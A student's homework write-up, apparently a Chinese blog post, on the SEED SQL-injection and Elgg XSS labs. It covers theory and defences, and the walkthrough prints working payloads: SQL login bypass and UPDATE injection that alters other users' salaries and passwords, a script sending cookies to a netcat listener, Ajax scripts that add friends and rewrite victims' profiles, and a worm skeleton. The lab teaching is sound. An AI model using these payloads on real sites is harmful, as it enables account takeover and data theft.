20212918 2021-2022-2 《网络攻防实践》第十次作业

1 实践内容

1.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  • 弹窗显示cookie信息:将cookie信息显示。
  • 窃取受害者的cookies:将cookie发送给攻击者。
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
  • 编写XSS蠕虫。
  • 对抗XSS攻击。

2 基础知识

2.1 SQL注入

代码注入攻击通过利用Web应用程序的输入驶证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。

  • 代码注入根据攻击目标的不同分为:
    (1)恶意读取、修改与操纵数据库的SQL注入攻击:
    (2)在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
    (3)在Web服务器端恶意执行操作系统命令的Shell注入攻击;
    (4)其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、 XPath注入、XML注入、XQuery注入等。

2.1.2 SQL注入攻击原理

向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL査询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
(1)利用字符串输入参数对转义字符过滤不完善的SQL注入攻击(缺乏对用户输入的安全验证)
(2)不正确的类型处理,没有对用户输入参数进行类型约束的检查

2.1.3 SQL注入攻击步骤和过程

(1)发现SQL注入点
动态网页可能有多个参数,只要某些参数用于生成SQL语句访问数据库,就可能存在着SQL注入,其中没有进行必要的转义字符过滤和类型检査,那么存在SQL注入漏洞的可能性就非常大, 对这些Web应用程序进行SQL注入攻击的成功率也非常高。
(2)判断后台数据库类型

  • 利用数据库服务器的系统变量进行判断
  • 利用数据库服务器的系统表进行判断

(3)后台数据库中管理员用户口令字猜解

  • 猜解表名
    从系统表中读取指定用户表的表结构信息,从而判断出用户名和口令字段名称
  • 用户名与口令猜解
    通过逐位获取ASCII码值,可以得到username字段的具体取值,即管理员用户账号,对口令字段值的猜解过程也类似。

(4)上传ASP后门,得到默认账户权限
(5)本地权限提升
(6)利用数据库扩展存储过程执行Shell命令

2.1.4 SQL注入攻击工具

  • Wposion能够在动态Web文档中找出SQL注入漏洞;wieliekoek.pl能够以并以网站镜像工具生成的输出为输入,找出含有表单页面,允许在配置文件中对注入字符串进行修改,进行SQL注入漏洞探测
  • SPIKE Proxy T具允 许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试

2.1.5 SQL注入攻击防范措施

主要依靠对用户输入中特殊字符严格的输入验证机制,及对输入参数类型与长度的严格检查与限制机制。
(1)使用类型安全的参数编码机制。
(2)凡是来自外部的用户输入,必须进行完备检查。
(3)将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
(4)加强SQL数据库服务器的配置与连接。

2.2 XSS跨站脚本攻击

XSS跨站脚本攻击的最终目标是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等危害后果。

2.2.1 XSS攻击技术原理

XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善。攻击方式包括绕过客户端安全策略访问敏感信息,窃取或修改会话Cookie、进行客户端渗透攻击获取访问权等。

2.2.2 XSS攻击类型

  • 持久性XSS漏洞(存储性XSS漏洞):常出现于一些可以将用户输入持久性地保存在Web服务器端,并在一些“正常”页面中持续性地显示,从而影响所有访问这些页面的其他用户。恶意脚本可永久性的包含在网站页面中,针对该类漏洞的客户端执行代码还可以被设计成具备跨用户进行自我传播的能力,从而成为XSS蠕虫。
  • 非持久性XSS漏洞(反射XSS漏洞):当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在非持久性的XSS漏洞。

2.2.3 XSS攻击防范措施

  • 服务器端防范措施:首要防范措施是对所有来自外部的用户输入进行完备检查,进行严格的安全过滤。需要采取一种三重防御方法来阻止漏洞的发生,包括输入验证、输出净化和消除危险的输入点。
  • 输入验证:需要验证数据的潜在特性包括用户输入数据不是过长、仅包含某些合法字符、不能包含某些HTML与JavaScript关键标签符号、数据与一个特殊的正规表达式相匹配等。
  • 输出净化:Web应用程序将用户提交的数据进行HTML编码,以净化可能的恶意字符,之后再复制到响应页面中。
  • 消除危险的输入点:例如尽量避免直接在现有的JavaScript中插入用户可控制的数据。
  • 客户端防范措施:提升浏览器安全设置。例如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读。

3 实践过程

3.1 SEED SQL注入攻击与防御实验

-我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 先使用指令sudo service apache2 start启动Apache服务.

  • 首先登陆MySQL数据库,以用户身份查看该数据库下面的表
    熟悉SQL语句
mysql -u root -pseedubuntu
use User;
show tables;

image
看到了名为credential的表,从credential表中获取信息(使用上文介绍过的select语句)

select * from credential;

image
看到表中存放着的员工个人信息和薪水

对SELECT语句的SQL注入攻击

  • 在路径/var/www/SQLInjection/中,找到了unsafe_home.php文件
    image
  • 查看后可发现系统进行身份识别的语句以及数据库查询的语句。
    image
    image
    image
  • 若在用户名位置输入admin '#,该判断语句即变为
WHERE name='admin'#
  • 后半部分被注释掉了,所以只进行了用户名的校验。因此用户名输入Admin '#,密码输入任意值,#在sql语句中代表注释,把后面的语句注释。
    image
  • 登录成功且能看到所有用户的数据,与之前查表内容一致。
    image
  • 输入curl 'http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin+'%23&Password=' 登录系统,其中'和%23即是'和#在url中的转义编码。通过返回的HTML代码,可看到该图的信息和之前图片的信息相同,sql注入攻击成功。
    image
    对UPDATE的攻击
  • 输入vim /var/www/SQLInjection/unsafe_edit_backend.php。从UPDATE语句可看到没有进行任何的保护如权限等。
    image
  • USERNAME中输入Alice'#进行登录
    image
    image
  • 点击Edit Profile,在NickName输入
', salary='20212918' where Name='Ted';# 

如图攻击成功。
image
image

  • 尝试修改其他用户的密码。从上文可分析出password在数据库中是以sha1的形式存储的,输入echo -n '20212918'|sha1sum。20212918的sha1值为abb875cfb05479c57b52aa058c368631783244db
    image
  • 之后登录Alice,edit profile在NickName中输入', Password='abb875cfb05479c57b52aa058c368631783244db' where Name='Alice';#。然后登录Alice的账户,输入密码20212918发现登录成功。
    image

3.2 SEED XSS攻击实验

任务:访问www.xsslabelgg.com,完成以下内容:

  • 弹窗显示恶意信息
  • 弹窗显示cookie信息
  • 窃取受害者的cookies
  • 成为受害者的朋友
  • 修改受害者的信息
  • 编写XSS蠕虫
  • 对抗XSS攻击
    1、弹窗显示恶意信息
  • 登录Elgg,输入用户名Alice,密码seedalice。在Elgg user profile中嵌入JavaScript程序,将代码插入Alice的profile(Brief desription域),然后用户名Boby登录并查看Alice的profile,则将会看到警告窗口。JavaScript程序将会执行并且显示一个警告窗口。
<script>alert('XSS');</script>

image

  • 登录Boby,查看Alice的profile时弹出了XSS弹窗。攻击成功原因:没有对字段进行安全检查和过滤就直接插入数据表。显示内容的时候,也是直接读取显示,没有经过输出净化
    image
    2、 弹窗显示cookie信息
  • 在上述实验的同样位置插入如下代码
    image
  • 使用boby账号登录查看alice时,弹出如下提示框
    image
    3、窃取受害者的cookies
  • 当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。在上述实验的同样位置插入如下代码
<script>document.write('<img src=http://127.0.0.1:5566?c='+escape(document.cookie) + ' >');</script> //127.0.0.1:5555表示本机的5555端口

同时打开Netcat监听cookie传送回来的端口5566,输入如下命令监听:

nc -vlp 5555 //-v:显示详细信息; -l:监听流进端口的信息; -p:打开本地端口 

image
4、成为受害者的朋友

  • 登录Alice的账号访问Charlies的主页,点击 Add Friend,使用web Developer中的Toggle tools查看需要的数据
    image
    需要当前用户的cookies 、__elgg_token 、 __elgg_ts 、 用户id
    把如下Javascript程序放在alice的About me中(edit HTML模式)
<script type="text/javascript">
	window.onload = function () {
  var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

image

接下来用boby访问alice的主页,boby就会自动加alice为好友
image
5、修改受害者的信息
在上述位置插入如下代码:

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
  
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  

  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	  
	var samyGuid=44;    
	if(elgg.session.user.guid!=samyGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}

</script>

然后用boby访问Alice的profile,即可成功修改boby的profile
image
6、编写XSS蠕虫

  • 使用以下蠕虫代码:
<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
	alert(jsCode);
</script>

继续将上面的代码放入Alice的about me中,Boby再进行访问时发现该代码被复制。
image
7、对抗XSS攻击

  • Elgg已经提供对抗XSS攻击的插件,登录管理员账户,找到插件HTMLawed并将其激活。该插件作用是对用户的输入输出进行校验并且去除特定标签。再查看Alice的profile,发现Alice中about me的代码被显示出来了,XSS攻击已经没有效果了。
    image
    image
    image

4 学习中遇到的问题及解决

  • 在seedubuntu中安装VMware tools,未安装成功。
    解决方法:通过询问同学以及查csdn,成功解决问题。

5 实践总结

通过本次实践,让我复习了以前学习的MySQL基本知识,例如:SQL语句。还了解了SELECT、UPDATE语句的SQL注入攻击,以及SQL对抗。丰富了自己的知识库。

posted @ 2022-05-22 10:28  別來無恙〆  阅读(61)  评论(0编辑  收藏  举报